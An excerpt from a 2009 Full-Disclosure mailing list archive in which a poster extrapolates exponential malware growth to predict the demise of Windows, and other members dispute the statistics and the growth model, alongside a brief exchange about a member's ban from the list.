> > useful speed.  Or, you can ditch Windows, and keep your existing 
> > hardware - it runs perfectly well, when it's not weighed down 
> > defending the indefensible.
> > 
> > [If Microsoft dooming Windows isn't ironic enough, consider that 
> > every time malware authors pump out another set of mutations, they 
> > are nailing one more nail in the coffin of the platform that they 
> > depend on to make their living! Ahh, there is justice in the world 
> > after all.]
> > 
> > [And the end game?  Well, M$ could open-source Windows, but frankly, 
> > why would anyone bother trying to fix it?  As the old saying goes, 
> > don't flog a dead horse...]
> > 
> > ---


---
Stuart Udall
stuart at at cyberdelix.dot net - http://www.cyberdelix.net/

--- 
 * Origin: lsi: revolution through evolution (192:168/0.2)


From quanticle at gmail.com  Fri Sep  4 16:03:34 2009
From: quanticle at gmail.com (Rohit Patnaik)
Date: Fri, 04 Sep 2009 10:03:34 -0500
Subject: [Full-disclosure] windows future
In-Reply-To: <4AA1283B.30501.E988958@stuart.cyberdelix.net>
References: <4A967FCD.4863.2312FB62@stuart.cyberdelix.net>,
	<4A97EA8D.12326.289BF53C@stuart.cyberdelix.net>
	<4AA1283B.30501.E988958@stuart.cyberdelix.net>
Message-ID: <4AA12C46.6090201@gmail.com>

All this shows is that there's exponential growth in the number of 
*threats*. It doesn't give any data about the number of actual 
*infections*. I mean, its quite possible that all these bits of malware 
are just targeting the same group of vulnerable Windows boxen, and 
they're just competing to conquer the same fixed base.

After all, if you extrapolated from the exponential growth of maggots on 
a rotting carcass, you'd be predicting that the entire world would be 
covered in maggots not too far from the future.

--Rohit Patnaik
lsi wrote:
> Hi All,
>
> Sorry for the delay, I had some urgent migration planning to attend 
> to ... ;)  Stats below.  Short version: evacuate.  Long version:
>
> - stats are in, exponential curve is real, see it for yourself here:
>
> http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiv_04-2009.en-us.pdf
>
> (page 10)
>
> - I also added up the numbers at 
> http://www.virusbtn.com/resources/malwareDirectory/prevalence/index.xml?year=2009
> ... exponential curve also visible, though I think their stats are 
> dodgy, their website is already suffering from math limits - it is 
> reporting current yearly stats as NaN% (Not A Number).
>
> - average rate of change per year (annual growth rate), calculated 
> from Symantec's chart: 243%
>
> - approximate date when number of NEW threats reached 1 Million: 2008
>
> - approximate date when number of NEW threats will reach 1 Billion: 
> 2015
>
> - approximate date when number of NEW threats will reach 2 Billion: 
> 2016
>
> - charts showing this: 
> http://www.cyberdelix.net/files/malware_mutation_projection.pdf
>
> - will the AV companies be able to classify 1 billion new threats per 
> year? that is 2.739 MILLION new threats per DAY (over 1900 new 
> threats per minute).
>
> - will your computer cope with scanning every EXE, DLL, PIF etc 1 
> billion times, every time you use them?
>
> - aside from the theoretical limits imposed by hardware and software, 
> there is one extra limit, imposed by users.  Users will not tolerate 
> machines operating slowly, and will seek alternative platforms well 
> before 100% CPU utilisation (either as a direct result of the size of 
> the blacklist, or indirectly caused by swapping due to low RAM).  
> This user limit might be lower than 20% CPU utilisation.  If users 
> figure out that 20% of their time is being wasted, and rising fast, 
> they will run for the exit.
>
> - will you tolerate your machine constantly processing a list a 
> billion items long?
>
> - do you plan to, and can you afford to, upgrade your compute power 
> by 243%, every year?
>
> - will you do this, even though you know viable alternative platforms 
> exist, at less total cost to yourself?
>
> - if you're already irritated that AV is slowing down your machine, 
> consider that malware levels will be 500 times higher in approx 5 
> years (assuming growth rates continue at 243%). That means your AV 
> will be running 500 times slower.  Unless you upgrade your machine by 
> 500 x current (eg. to an effective speed of approx 1000 GHz), your 
> machine is going to slow down even more.  Given that chipmakers don't 
> seem to be able to get much past 5GHz, without melting the die, that 
> means you'll need 200 of today's processors, just for malware 
> filtering, by 2015.
>
> - Moore's Law says compute power doubles (200%) every 24 months.  
> However, malware is growing at 243% every 12 months.  Thus it is 
> already exceeding Moore's Law, by a massive margin.  I suspect this 
> means this race is unwinnable, and we should give up now, and devote 
> our resources to something sustainable.
>
> - how AV writers will generate 2.7 million new threats/day: 
>
> "Evolvable Malware":
> http://www.genetic-programming.org/hc2009/3-Noreen/Noreen-Presentation.ppt
>
> "A Field Guide to Genetic Programming":
> http://www.gp-field-guide.org.uk/
>
> Wiki:
> http://en.wikipedia.org/wiki/Genetic_programming
>
> - the insecurity of Windows creates a public space, of sorts, an area 
> of common ground, with shared ownership - and this is thus 
> susceptible to the tragedy of the commons ... 
> http://en.wikipedia.org/wiki/Tragedy_of_the_commons ... so no, I 
> don't think malware authors will slow down the mutation rate, so as 
> to prolong the life of the platform, they do not work together.  As 
> Messagelabs puts it, "there's no honour amongst thieves" ... 
> http://www.messagelabs.com/mlireport/MLIReport_Annual_2008_FINAL.pdf
>
> - the greenhouse emissions caused by billions of computers checking 
> billions of items for billions of malware are likely to be 
> measurable, and will increasingly erode the world's ability to meet 
> environmental targets
>
> - my own maths might be dodgy, please check it, spreadsheet: 
> http://www.cyberdelix.net/files/malware_mutation_projection.ods
>
> Stu
>
> On 28 Aug 2009 at 15:32, lsi wrote:
>
> From:           	"lsi" <stuart at cyberdelix.net>
> To:             	full-disclosure at lists.grok.org.uk
> Date sent:      	Fri, 28 Aug 2009 15:32:45 +0100     
>
>   
>> Thanks for the comments, indeed, the exponential issue arises due to 
>> use the of blacklisting by current AV technologies, and a switch to 
>> whitelisting could theoretically mitigate that, however, I'm not sure 
>> that would work in practice, there are so many little bits of code 
>> that execute, right down to tiny javascripts that check you've filled 
>> in an online form correctly, and the user might be bombarded with 
>> prompts.  Falling back on tweaks to user privileges and UAC prompts 
>> is hardly fixing the problem.  The core problem is the platform is 
>> inherently insecure, due to its development, licensing and marketing 
>> models, and nothing is going to fix that.  Even if fixing it became 
>> somehow possible, the same effort could be spent improving a 
>> competing system, rather than fixing a broken one.
>>
>> Just to complete the extrapolation, the below.
>>
>> Assuming that mutation rates continue to increase exponentially, 
>> infection rates will reach a maximum when the average computer 
>> reaches 100% utilisation due to malware filtering.  Infection rates 
>> will then decline as vulnerable hosts "die off" due to their 
>> inability to filter.  These hosts will either be replaced with new, 
>> more powerful Windows machines (before these themselves surcumb to 
>> the exponential curve), OR, they will be re-deployed, running a 
>> different, non-Windows platform.
>>
>> Eventually, the majority of computer owners will get the idea that 
>> they don't need to buy ever-more powerful gear, just to do the same 
>> job they did yesterday (there may come a time when the fastest 
>> machine available is unable to cope, there is every possibility that 
>> mutation rates will exceed Moore's Law).  The number of vulnerable 
>> hosts will then fall sharply, as the platform is abandoned en-masse.
>>
>> At this time, crackers who have been depending upon a certain amount 
>> of cracks per week for income, will find themselves short.  They will 
>> then, if they have not already, refocus their activities on more 
>> profitable revenue streams.
>>
>> If every computer is running a diverse ecosystem, crackers will have 
>> no choice but to resort to small-scale, targetted attacks, and the 
>> days of mass-market malware will be over, just as the days of the 
>> mass-market platform it depends on, will also be over.
>>
>> And then, crackers will need to be very good crackers, to generate 
>> enough income from their small-scale attacks.  If they aren't very 
>> good, they might find it easier and more profitable to get a 9-to-5 
>> job.  The number of malware authors will then fall sharply.
>>
>> The world will awaken from the 20+ year nightmare that was Windows, 
>> made possible only by manipulative market practices, driven by greed, 
>> and discover the only reason it was wracked with malware, was because 
>> it had all its eggs in one basket.
>>
>> Certainly, vulnerabilities will persist, and skilled cracking groups 
>> may well find new niches from which to operate.  But diversifying the 
>> ecosystem raises the barrier to entry, to a level most garden-variety 
>> crackers will find unprofitable, and that will be all that is 
>> required, to encourage most of them to do something else with their 
>> lives, and significantly reduce the incidence of cybercrime.
>>
>> (now I phrase it like that, it might be said, that by buying 
>> Microsoft, you are indirectly channelling money to organised crime 
>> gangs, who most likely engage in other kinds of criminal activity, in 
>> addition to cracking, such as identity theft, money laundering, and 
>> smuggling. That is, when you buy Microsoft, you are propping up the 
>> monoculture, and that monoculture feeds criminals, by way of its 
>> inherent flaws.  Therefore, if you would like to reduce criminal 
>> activity, don't buy Microsoft.)
>>
>> -EOF
>>
>> On 27 Aug 2009 at 13:45, lsi wrote:
>>
>> From:           	"lsi" <stuart at cyberdelix.net>
>> To:             	full-disclosure at lists.grok.org.uk
>> Date sent:      	Thu, 27 Aug 2009 13:45:01 +0100
>> Priority:       	normal                                               
>>             
>> Subject:        	[Full-disclosure] windows future
>> Send reply to:  	stuart at cyberdelix.net
>> 	<full-disclosure.lists.grok.org.uk>                                  
>>       
>> 	<mailto:full-disclosure-
>> request at lists.grok.org.uk?subject=unsubscribe>     
>> 	<mailto:full-disclosure-request at lists.grok.org.uk?subject=subscribe> 
>>       
>>
>>     
>>> [Some more extrapolations, this time taken from the fact that malware 
>>> mutation rates are increasing exponentially. - Stu]
>>>
>>> (actually, this wasn't written for an FD audience, please excuse the 
>>> bit where it urges you to consider your migration strategy, I know 
>>> you're all ultra-l33t and don't have a single M$ box on your LAN)
>>>
>>> http://www.theregister.co.uk/2009/08/13/malware_arms_race/
>>>
>>> If this trend continues, there will come a time when the amount of 
>>> malware is so large, that anti-malware filters will need more power 
>>> than the systems they are protecting are able to provide.
>>>
>>> At this time, those systems will become essentially worthless, and 
>>> unusable.
>>>
>>> You can choose to leave now, or later.  But you cannot choose to 
>>> stay...
>>>
>>> (I mean, that the Windows platform seems destined to fill, 
>>> completely, with malware, such that your computer will spend ALL its 
>>> time on security matters, and will have no CPU, RAM etc left for 
>>> actual work.  At the end of the day, the ability of malware to infect 
>>> Windows machines is due to the fact that Windows is a monoculture, a 
>>> monolith, built by a single company, with many interconnections and 
>>> hidden alleyways.  It's hard to imagine a platform LESS vulnerable - 
>>> compare with open-source efforts, which are diverse, homogenous and 
>>> connect via open protocols.  Malware finds life hard in the sterile, 
>>> purified world of RFCs, where one of many different programs may 
>>> process your malicious payload, all of which have been peer-reviewed. 
>>>  In Windows, malware knows that a specific Microsoft EXE will process 
>>> its data, knows that the code has not been thoroughly checked, and 
>>> can make use of undocumented mechanisms.
>>>
>>> So basically Microsoft, by hoarding their source, by tightly 
>>> integrating functionality, and by seeking to monopolise the various 
>>> markets created by the platform (browser, media player, office 
>>> software), have doomed Windows, and everything that runs on it.  The 
>>> lack of diversity in the Windows ecosystem means that it is highly 
>>> vulnerable to attack by predators.  The fact that malware mutation 
>>> rates are accelerating is a clear indicator that the foxes are 
>>> circling.  This is the beginning of a death spiral; the malware 
>>> numbers we've seen in the past 20 years were the low end of an 
>>> exponential curve, and we're now getting to the steep part.
>>>
>>> The problem is that any given computer is only capable of so much 
>>> processing.  It has an upper limit to the amount of malware it can 
>>> filter, those limits being related to CPU speed, RAM, diskspace, 
>>> network bandwidth.  This upper limit looks like a horizontal line, on 
>>> the chart that shows the exponential curve mentioned above.
>>>
>>> So my point, is that eventually, the exponential curve is going to 
>>> cross that horizontal line, for any given computer, and when that 
>>> happens, that computer will no longer be able to filter malware.  It 
>>> will only be able to filter a subset, and thus be vulnerable to the 
>>> rest. Consequently it will not be usable, for instance, on the web, 
>>> and will essentially become a doorstop...
>>>
>>> The only escape from this inevitability is to ditch the platform that 
>>> is permitting the malware - that is, the only escape is to ditch 
>>> Windows. It is being eaten alive, by predators that only have a 
>>> foothold because there are weaknesses in the platform.
>>>
>>> Given that it can take years to migrate to a new operating system, I 
>>> do recommend, if you have not already done so, that you commence 
>>> planning to ditch Windows.  I might be wrong about the exponential 
>>> curve, but if I'm not, then there may not be a lot of time in between 
>>> when malware levels seem managable, and the time when they are not.  
>>> If your business depends on Windows machines and they all become 
>>> unusable, you will have no business.  What you definitely must NOT 
>>> do, is assume that Windows is going to be around for a long time.  It 
>>> is a dead man walking.
>>>
>>> - Of course, there might be a few years yet.  You can spend those 
>>> years running up your IT bill, with lots of new computers that are 
>>> required to filter all that malware while still performing at a 
>>> useful speed.  Or, you can ditch Windows, and keep your existing 
>>> hardware - it runs perfectly well, when it's not weighed down 
>>> defending the indefensible.
>>>
>>> [If Microsoft dooming Windows isn't ironic enough, consider that 
>>> every time malware authors pump out another set of mutations, they 
>>> are nailing one more nail in the coffin of the platform that they 
>>> depend on to make their living! Ahh, there is justice in the world 
>>> after all.]
>>>
>>> [And the end game?  Well, M$ could open-source Windows, but frankly, 
>>> why would anyone bother trying to fix it?  As the old saying goes, 
>>> don't flog a dead horse...]
>>>
>>> ---
>>>       
>
>
> ---
> Stuart Udall
> stuart at at cyberdelix.dot net - http://www.cyberdelix.net/
>
> --- 
>  * Origin: lsi: revolution through evolution (192:168/0.2)
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>   


From full-censorship at hushmail.com  Fri Sep  4 16:28:53 2009
From: full-censorship at hushmail.com (full-censorship at hushmail.com)
Date: Fri, 04 Sep 2009 15:28:53 +0000
Subject: [Full-disclosure] Blonde moment for the list administrator
Message-ID: <20090904152853.9E5DEB8043@smtp.hushmail.com>

Lincoln Anderson <ayblinkin at gmail.com> wrote:
>If I were a list administrator, and I had some idiot posing as an 
>intarnetz
>lawlyer threatening suit every time his name was mentioned, I'd 
>ban his ass
>too.

*confused* we banned more people?



From thor at hammerofgod.com  Fri Sep  4 16:52:48 2009
From: thor at hammerofgod.com (Thor (Hammer of God))
Date: Fri, 4 Sep 2009 12:52:48 -0300
Subject: [Full-disclosure] windows future
In-Reply-To: <4AA12C46.6090201@gmail.com>
References: <4A967FCD.4863.2312FB62@stuart.cyberdelix.net>,
	<4A97EA8D.12326.289BF53C@stuart.cyberdelix.net>
	<4AA1283B.30501.E988958@stuart.cyberdelix.net>
	<4AA12C46.6090201@gmail.com>
Message-ID: <54B0B7ACDC1422469902A6D39654DEEE016A98709F61@gandalf.optimum.bm>

Studies show that 78.3% of all statistics are worthless.

t

> -----Original Message-----
> From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-
> disclosure-bounces at lists.grok.org.uk] On Behalf Of Rohit Patnaik
> Sent: Friday, September 04, 2009 8:04 AM
> Cc: full-disclosure at lists.grok.org.uk
> Subject: Re: [Full-disclosure] windows future
>
> All this shows is that there's exponential growth in the number of
> *threats*. It doesn't give any data about the number of actual
> *infections*. I mean, its quite possible that all these bits of malware
> are just targeting the same group of vulnerable Windows boxen, and
> they're just competing to conquer the same fixed base.
>
> After all, if you extrapolated from the exponential growth of maggots
> on
> a rotting carcass, you'd be predicting that the entire world would be
> covered in maggots not too far from the future.
>
> --Rohit Patnaik
> lsi wrote:
> > Hi All,
> >
> > Sorry for the delay, I had some urgent migration planning to attend
> > to ... ;)  Stats below.  Short version: evacuate.  Long version:
> >
> > - stats are in, exponential curve is real, see it for yourself here:
> >
> > http://eval.symantec.com/mktginfo/enterprise/white_papers/b-
> whitepaper_internet_security_threat_report_xiv_04-2009.en-us.pdf
> >
> > (page 10)
> >
> > - I also added up the numbers at
> >
> http://www.virusbtn.com/resources/malwareDirectory/prevalence/index.xml
> ?year=2009
> > ... exponential curve also visible, though I think their stats are
> > dodgy, their website is already suffering from math limits - it is
> > reporting current yearly stats as NaN% (Not A Number).
> >
> > - average rate of change per year (annual growth rate), calculated
> > from Symantec's chart: 243%
> >
> > - approximate date when number of NEW threats reached 1 Million: 2008
> >
> > - approximate date when number of NEW threats will reach 1 Billion:
> > 2015
> >
> > - approximate date when number of NEW threats will reach 2 Billion:
> > 2016
> >
> > - charts showing this:
> > http://www.cyberdelix.net/files/malware_mutation_projection.pdf
> >
> > - will the AV companies be able to classify 1 billion new threats per
> > year? that is 2.739 MILLION new threats per DAY (over 1900 new
> > threats per minute).
> >
> > - will your computer cope with scanning every EXE, DLL, PIF etc 1
> > billion times, every time you use them?
> >
> > - aside from the theoretical limits imposed by hardware and software,
> > there is one extra limit, imposed by users.  Users will not tolerate
> > machines operating slowly, and will seek alternative platforms well
> > before 100% CPU utilisation (either as a direct result of the size of
> > the blacklist, or indirectly caused by swapping due to low RAM).
> > This user limit might be lower than 20% CPU utilisation.  If users
> > figure out that 20% of their time is being wasted, and rising fast,
> > they will run for the exit.
> >
> > - will you tolerate your machine constantly processing a list a
> > billion items long?
> >
> > - do you plan to, and can you afford to, upgrade your compute power
> > by 243%, every year?
> >
> > - will you do this, even though you know viable alternative platforms
> > exist, at less total cost to yourself?
> >
> > - if you're already irritated that AV is slowing down your machine,
> > consider that malware levels will be 500 times higher in approx 5
> > years (assuming growth rates continue at 243%). That means your AV
> > will be running 500 times slower.  Unless you upgrade your machine by
> > 500 x current (eg. to an effective speed of approx 1000 GHz), your
> > machine is going to slow down even more.  Given that chipmakers don't
> > seem to be able to get much past 5GHz, without melting the die, that
> > means you'll need 200 of today's processors, just for malware
> > filtering, by 2015.
> >
> > - Moore's Law says compute power doubles (200%) every 24 months.
> > However, malware is growing at 243% every 12 months.  Thus it is
> > already exceeding Moore's Law, by a massive margin.  I suspect this
> > means this race is unwinnable, and we should give up now, and devote
> > our resources to something sustainable.
> >
> > - how AV writers will generate 2.7 million new threats/day:
> >
> > "Evolvable Malware":
> > http://www.genetic-programming.org/hc2009/3-Noreen/Noreen-
> Presentation.ppt
> >
> > "A Field Guide to Genetic Programming":
> > http://www.gp-field-guide.org.uk/
> >
> > Wiki:
> > http://en.wikipedia.org/wiki/Genetic_programming
> >
> > - the insecurity of Windows creates a public space, of sorts, an area
> > of common ground, with shared ownership - and this is thus
> > susceptible to the tragedy of the commons ...
> > http://en.wikipedia.org/wiki/Tragedy_of_the_commons ... so no, I
> > don't think malware authors will slow down the mutation rate, so as
> > to prolong the life of the platform, they do not work together.  As
> > Messagelabs puts it, "there's no honour amongst thieves" ...
> > http://www.messagelabs.com/mlireport/MLIReport_Annual_2008_FINAL.pdf
> >
> > - the greenhouse emissions caused by billions of computers checking
> > billions of items for billions of malware are likely to be
> > measurable, and will increasingly erode the world's ability to meet
> > environmental targets
> >
> > - my own maths might be dodgy, please check it, spreadsheet:
> > http://www.cyberdelix.net/files/malware_mutation_projection.ods
> >
> > Stu
> >
> > On 28 Aug 2009 at 15:32, lsi wrote:
> >
> > From:               "lsi" <stuart at cyberdelix.net>
> > To:                 full-disclosure at lists.grok.org.uk
> > Date sent:          Fri, 28 Aug 2009 15:32:45 +0100
> >
> >
> >> Thanks for the comments, indeed, the exponential issue arises due to
> >> use the of blacklisting by current AV technologies, and a switch to
> >> whitelisting could theoretically mitigate that, however, I'm not
> sure
> >> that would work in practice, there are so many little bits of code
> >> that execute, right down to tiny javascripts that check you've
> filled
> >> in an online form correctly, and the user might be bombarded with
> >> prompts.  Falling back on tweaks to user privileges and UAC prompts
> >> is hardly fixing the problem.  The core problem is the platform is
> >> inherently insecure, due to its development, licensing and marketing
> >> models, and nothing is going to fix that.  Even if fixing it became
> >> somehow possible, the same effort could be spent improving a
> >> competing system, rather than fixing a broken one.
> >>
> >> Just to complete the extrapolation, the below.
> >>
> >> Assuming that mutation rates continue to increase exponentially,
> >> infection rates will reach a maximum when the average computer
> >> reaches 100% utilisation due to malware filtering.  Infection rates
> >> will then decline as vulnerable hosts "die off" due to their
> >> inability to filter.  These hosts will either be replaced with new,
> >> more powerful Windows machines (before these themselves surcumb to
> >> the exponential curve), OR, they will be re-deployed, running a
> >> different, non-Windows platform.
> >>
> >> Eventually, the majority of computer owners will get the idea that
> >> they don't need to buy ever-more powerful gear, just to do the same
> >> job they did yesterday (there may come a time when the fastest
> >> machine available is unable to cope, there is every possibility that
> >> mutation rates will exceed Moore's Law).  The number of vulnerable
> >> hosts will then fall sharply, as the platform is abandoned en-masse.
> >>
> >> At this time, crackers who have been depending upon a certain amount
> >> of cracks per week for income, will find themselves short.  They
> will
> >> then, if they have not already, refocus their activities on more
> >> profitable revenue streams.
> >>
> >> If every computer is running a diverse ecosystem, crackers will have
> >> no choice but to resort to small-scale, targetted attacks, and the
> >> days of mass-market malware will be over, just as the days of the
> >> mass-market platform it depends on, will also be over.
> >>
> >> And then, crackers will need to be very good crackers, to generate
> >> enough income from their small-scale attacks.  If they aren't very
> >> good, they might find it easier and more profitable to get a 9-to-5
> >> job.  The number of malware authors will then fall sharply.
> >>
> >> The world will awaken from the 20+ year nightmare that was Windows,
> >> made possible only by manipulative market practices, driven by
> greed,
> >> and discover the only reason it was wracked with malware, was
> because
> >> it had all its eggs in one basket.
> >>
> >> Certainly, vulnerabilities will persist, and skilled cracking groups
> >> may well find new niches from which to operate.  But diversifying
> the
> >> ecosystem raises the barrier to entry, to a level most garden-
> variety
> >> crackers will find unprofitable, and that will be all that is
> >> required, to encourage most of them to do something else with their
> >> lives, and significantly reduce the incidence of cybercrime.
> >>
> >> (now I phrase it like that, it might be said, that by buying
> >> Microsoft, you are indirectly channelling money to organised crime
> >> gangs, who most likely engage in other kinds of criminal activity,
> in
> >> addition to cracking, such as identity theft, money laundering, and
> >> smuggling. That is, when you buy Microsoft, you are propping up the
> >> monoculture, and that monoculture feeds criminals, by way of its
> >> inherent flaws.  Therefore, if you would like to reduce criminal
> >> activity, don't buy Microsoft.)
> >>
> >> -EOF
> >>
> >> On 27 Aug 2009 at 13:45, lsi wrote:
> >>
> >> From:              "lsi" <stuart at cyberdelix.net>
> >> To:                full-disclosure at lists.grok.org.uk
> >> Date sent:         Thu, 27 Aug 2009 13:45:01 +0100
> >> Priority:          normal
> >>
> >> Subject:           [Full-disclosure] windows future
> >> Send reply to:     stuart at cyberdelix.net
> >>    <full-disclosure.lists.grok.org.uk>
> >>
> >>    <mailto:full-disclosure-
> >> request at lists.grok.org.uk?subject=unsubscribe>
> >>    <mailto:full-disclosure-
> request at lists.grok.org.uk?subject=subscribe>
> >>
> >>
> >>
> >>> [Some more extrapolations, this time taken from the fact that
> malware
> >>> mutation rates are increasing exponentially. - Stu]
> >>>
> >>> (actually, this wasn't written for an FD audience, please excuse
> the
> >>> bit where it urges you to consider your migration strategy, I know
> >>> you're all ultra-l33t and don't have a single M$ box on your LAN)
> >>>
> >>> http://www.theregister.co.uk/2009/08/13/malware_arms_race/
> >>>
> >>> If this trend continues, there will come a time when the amount of
> >>> malware is so large, that anti-malware filters will need more power
> >>> than the systems they are protecting are able to provide.
> >>>
> >>> At this time, those systems will become essentially worthless, and
> >>> unusable.
> >>>
> >>> You can choose to leave now, or later.  But you cannot choose to
> >>> stay...
> >>>
> >>> (I mean, that the Windows platform seems destined to fill,
> >>> completely, with malware, such that your computer will spend ALL
> its
> >>> time on security matters, and will have no CPU, RAM etc left for
> >>> actual work.  At the end of the day, the ability of malware to
> infect
> >>> Windows machines is due to the fact that Windows is a monoculture,
> a
> >>> monolith, built by a single company, with many interconnections and
> >>> hidden alleyways.  It's hard to imagine a platform LESS vulnerable
> -
> >>> compare with open-source efforts, which are diverse, homogenous and
> >>> connect via open protocols.  Malware finds life hard in the
> sterile,
> >>> purified world of RFCs, where one of many different programs may
> >>> process your malicious payload, all of which have been peer-
> reviewed.
> >>>  In Windows, malware knows that a specific Microsoft EXE will
> process
> >>> its data, knows that the code has not been thoroughly checked, and
> >>> can make use of undocumented mechanisms.
> >>>
> >>> So basically Microsoft, by hoarding their source, by tightly
> >>> integrating functionality, and by seeking to monopolise the various
> >>> markets created by the platform (browser, media player, office
> >>> software), have doomed Windows, and everything that runs on it.
> The
> >>> lack of diversity in the Windows ecosystem means that it is highly
> >>> vulnerable to attack by predators.  The fact that malware mutation
> >>> rates are accelerating is a clear indicator that the foxes are
> >>> circling.  This is the beginning of a death spiral; the malware
> >>> numbers we've seen in the past 20 years were the low end of an
> >>> exponential curve, and we're now getting to the steep part.
> >>>
> >>> The problem is that any given computer is only capable of so much
> >>> processing.  It has an upper limit to the amount of malware it can
> >>> filter, those limits being related to CPU speed, RAM, diskspace,
> >>> network bandwidth.  This upper limit looks like a horizontal line,
> on
> >>> the chart that shows the exponential curve mentioned above.
> >>>
> >>> So my point, is that eventually, the exponential curve is going to
> >>> cross that horizontal line, for any given computer, and when that
> >>> happens, that computer will no longer be able to filter malware.
> It
> >>> will only be able to filter a subset, and thus be vulnerable to the
> >>> rest. Consequently it will not be usable, for instance, on the web,
> >>> and will essentially become a doorstop...
> >>>
> >>> The only escape from this inevitability is to ditch the platform
> that
> >>> is permitting the malware - that is, the only escape is to ditch
> >>> Windows. It is being eaten alive, by predators that only have a
> >>> foothold because there are weaknesses in the platform.
> >>>
> >>> Given that it can take years to migrate to a new operating system,
> I
> >>> do recommend, if you have not already done so, that you commence
> >>> planning to ditch Windows.  I might be wrong about the exponential
> >>> curve, but if I'm not, then there may not be a lot of time in
> between
> >>> when malware levels seem managable, and the time when they are not.
> >>> If your business depends on Windows machines and they all become
> >>> unusable, you will have no business.  What you definitely must NOT
> >>> do, is assume that Windows is going to be around for a long time.
> It
> >>> is a dead man walking.
> >>>
> >>> - Of course, there might be a few years yet.  You can spend those
> >>> years running up your IT bill, with lots of new computers that are
> >>> required to filter all that malware while still performing at a
> >>> useful speed.  Or, you can ditch Windows, and keep your existing
> >>> hardware - it runs perfectly well, when it's not weighed down
> >>> defending the indefensible.
> >>>
> >>> [If Microsoft dooming Windows isn't ironic enough, consider that
> >>> every time malware authors pump out another set of mutations, they
> >>> are nailing one more nail in the coffin of the platform that they
> >>> depend on to make their living! Ahh, there is justice in the world
> >>> after all.]
> >>>
> >>> [And the end game?  Well, M$ could open-source Windows, but
> frankly,
> >>> why would anyone bother trying to fix it?  As the old saying goes,
> >>> don't flog a dead horse...]
> >>>
> >>> ---
> >>>
> >
> >
> > ---
> > Stuart Udall
> > stuart at at cyberdelix.dot net - http://www.cyberdelix.net/
> >
> > ---
> >  * Origin: lsi: revolution through evolution (192:168/0.2)
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


From Valdis.Kletnieks at vt.edu  Fri Sep  4 17:35:16 2009
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Fri, 04 Sep 2009 12:35:16 -0400
Subject: [Full-disclosure] windows future
In-Reply-To: Your message of "Fri, 04 Sep 2009 15:46:19 BST."
	<4AA1283B.30501.E988958@stuart.cyberdelix.net>
References: <4A967FCD.4863.2312FB62@stuart.cyberdelix.net>
	<4A97EA8D.12326.289BF53C@stuart.cyberdelix.net>
	<4AA1283B.30501.E988958@stuart.cyberdelix.net>
Message-ID: <42092.1252082116@turing-police.cc.vt.edu>

On Fri, 04 Sep 2009 15:46:19 BST, lsi said:

> - approximate date when number of NEW threats reached 1 Million: 2008
> 
> - approximate date when number of NEW threats will reach 1 Billion: 2015
> 
> - approximate date when number of NEW threats will reach 2 Billion: 2016

This is assuming an exponential growth model, when there's no realistic
reason to believe it to be so.  There are however good reasons to expect
that the correct model is the "logistics curve" (slow growth at first,
a steep middle section, then flattening out asymptotic to a horizontal line).

For starters, new threats have to come from *somewhere*, and there's only
a limited supply of dark-side code hackers, and a limited supply of people
worth fleecing (sure, OLPC may distribute 100M laptops - but those are going to
people who can't be monetized easily).  From whence will the 1 billion
new threats in the 2015-16 span come from? Who will create these, and who will
make money from them?  At what point will some of the marginal players leave
the game and find other avenues of making money?  Remember - if the threat
pool is 100,000, and you have 1,000 threats, you have 1% of the market, and
can probably live well off that 1% if monetized.  But if you have 1,000 threats
in a pool of a billion, you're a marginal player and not likely to get rich
fast doing that.

> - charts showing this: 
> http://www.cyberdelix.net/files/malware_mutation_projection.pdf
> 
> - will the AV companies be able to classify 1 billion new threats per 
> year? that is 2.739 MILLION new threats per DAY (over 1900 new 
> threats per minute).
> 
> - will your computer cope with scanning every EXE, DLL, PIF etc 1 
> billion times, every time you use them?

You don't have to scan it a billion times. You need to scan it *once* for
one billion attacks.  And proper pattern-matching should help a lot here - quite
often, you'll have 2,934 exploit codes in the wild, all using the same attack
code lifted from Metasploit or milw0rm or whatever.  So only one check is
needed.  A bigger danger here is if we start seeing *single* threats that
include a really good real-time polymorphism/obfuscator - *that* could really
suck.

> - aside from the theoretical limits imposed by hardware and software, 
> there is one extra limit, imposed by users.  Users will not tolerate 
> machines operating slowly, and will seek alternative platforms well 
> before 100% CPU utilisation (either as a direct result of the size of 
> the blacklist, or indirectly caused by swapping due to low RAM).  
> This user limit might be lower than 20% CPU utilisation.  If users 
> figure out that 20% of their time is being wasted, and rising fast, 
> they will run for the exit.

Interesting statistic - year before last, around 10% of all new computer
purchases were replacements for malware-infested boxes.  Just buying a new
one was easier/cheaper than trying to fix the old one for a lot of people.

Second interesting statistic - the vast majority of that 10% ended up using
the exact same operating system.

So even when it's well past the 20% mark and the box is basically unusable,
they *still* don't run for the exit.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090904/9843d189/attachment.bin 

From pschmehl_lists at tx.rr.com  Fri Sep  4 17:37:04 2009
From: pschmehl_lists at tx.rr.com (Paul Schmehl)
Date: Fri, 04 Sep 2009 16:37:04 +0000
Subject: [Full-disclosure] Blonde moment for the list administrator
In-Reply-To: <20090904133757.29856B8043@smtp.hushmail.com>
References: <20090904133757.29856B8043@smtp.hushmail.com>
Message-ID: <AD5253C05FE797D7909E840C@utd65257.utdallas.edu>

--On Friday, September 04, 2009 08:37:57 -0500 full-censorship at hushmail.com 
wrote:

>
> i think john was having a "blonde moment" when he banned n3td3v.
>
> "a momentary lapse in concentration, resulting in an embarrassing
> situation."
>
> we're supposed to be attracting hackers to the list not banning
> them.
>

Hackers, yes.  Bozos, no.

-- 
Paul Schmehl, Senior Infosec Analyst
As if it wasn't already obvious, my opinions
are my own and not those of my employer.
*******************************************
"It is as useless to argue with those who have
renounced the use of reason as to administer
medication to the dead." Thomas Jefferson


From nion at debian.org  Fri Sep  4 16:18:33 2009
From: nion at debian.org (Nico Golde)
